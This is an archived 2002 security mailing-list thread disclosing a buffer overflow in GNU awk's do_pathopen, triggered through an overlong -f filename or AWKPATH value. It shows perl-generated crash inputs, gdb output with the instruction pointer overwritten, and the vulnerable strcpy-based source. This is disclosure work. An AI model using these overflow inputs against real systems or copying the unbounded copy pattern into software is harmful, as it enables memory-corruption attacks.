Vulnerability Development mailing list archives

RE: Buffer overflow in awk


From: "Max" <flux9 () 101freeway net>
Date: Fri, 15 Mar 2002 00:08:52 -0800

I can reproduce this on Slackware 8.0, but it takes 8177 char's to
segfault.

max0r@dork:~$ gdb /usr/bin/awk
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-slackware-linux"...(no debugging
symbols found)...
(gdb) run -f `perl -e 'print "A" x 8177'`
Starting program: /usr/bin/awk -f `perl -e 'print "A" x 8177'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg
eax            0xffffffff       -1
ecx            0x24     36
edx            0x24     36
ebx            0xfffffffa       -6
esp            0xbfffd108       0xbfffd108
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x41414141       0x41414141
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x100    256
ftag           0xffff   65535
fiseg          0x23     35
fioff          0x8055ec1        134569665
foseg          0x2b     43
fooff          0x80730c8        134688968
fop            0x51a    1306

max0r@dork:~$ awk --version
GNU Awk 3.0.6
...


-Max



-----Original Message-----
From: keoki [mailto:keoki () techie com] 
Sent: Thursday, March 14, 2002 7:41 PM
To: vuln-dev () securityfocus com
Subject: Buffer overflow in awk



A buffer overflow exist in awk(named awk on most 

systems, but actualy is gawk/GNU awk) when calling 

the -f option, to include an awk script, and supplying a 

filename with a buffer length of 1022 and up. 





[root@neural keoki]# awk -f `perl -e 'print "A" x 1022'` 

awk: fatal error: internal error 

Abort (core dumped) 

[root@neural keoki]# awk -f `perl -e 'print "A" x 2048'` 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAA: fatal error: internal error 

Abort (core dumped) 

[root@neural keoki]# 



The bug exist in io.c in function do_pathopen 



/* do_pathopen --- search $AWKPATH for source file 

*/ 



static int 

do_pathopen(file) 

const char *file; 

{ 

static const char *savepath = NULL; 

static int first = TRUE; 

const char *awkpath; 

char *cp, trypath[BUFSIZ]; 

int fd; 



if (STREQ(file, "-")) 

return (0); 



if (do_traditional) 

return (devopen(file, "r")); 



if (first) { 

first = FALSE; 

if ((awkpath = getenv("AWKPATH")) != 

NULL && *awkpath) 

savepath = awkpath; /* used for 

restarting */ 

else 

savepath = defpath; 

} 

awkpath = savepath; 



/* some kind of path name, no search */ 

if (ispath(file)) 

return (devopen(file, "r")); 



do { 

trypath[0] = '\0'; 





/* this should take into account limits on size of 

trypath */ 

for (cp = trypath; *awkpath && *awkpath != 

envsep; ) 

*cp++ = *awkpath++; 



if (cp != trypath) { /* nun-null element in 

path */ 

/* add directory punctuation only if 

needed */ 

if (! isdirpunct(*(cp-1))) 

*cp++ = '/'; 

/* append filename */ 

strcpy(cp, file); 

} else 

strcpy(trypath, file); 

if ((fd = devopen(trypath, "r")) > 

INVALID_HANDLE) 

return (fd); 



/* no luck, keep going */ 

if(*awkpath == envsep && awkpath[1] ! 

= '\0') 

awkpath++; /* skip colon */ 

} while (*awkpath != '\0'); 

/* 

* You might have one of the awk paths defined, 

WITHOUT the current 

* working directory in it. Therefore try to open 

the file in the 

* current directory. 

*/ 

return (devopen(file, "r")); 



} 





It can also be crashed with an env variable as follows 



[root@neural keoki]# env AWKPATH=`perl - 

e 'print "A" x 2048'` awk -f xx 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAA/e/keoki: fatal error: internal error 

Abort (core dumped) 

[root@neural keoki]# 







This was tested on FreeBSD platform(fbsd 4.0 && 

4.4) against awk(which is actually gnu awk) versions 

3.0.6 && 3.0.4 



[root@neural keoki]# awk -W version | sed -n '1p' 

GNU Awk 3.0.6 

[root@neural keoki]# 



[root@keoki][~]# awk -W version | sed -n '1p' 

GNU Awk 3.0.4 

[root@keoki][~]# 





This was also tested on caldera and mandrake, and 

worked, but using a significantly higher buffer length. 





Shouts: aho, weinberger, kernighan and #ch0wn 





-- keoki 

-- keoki () techie com 

-- http://sleek.cyberarmy.com 





Current thread: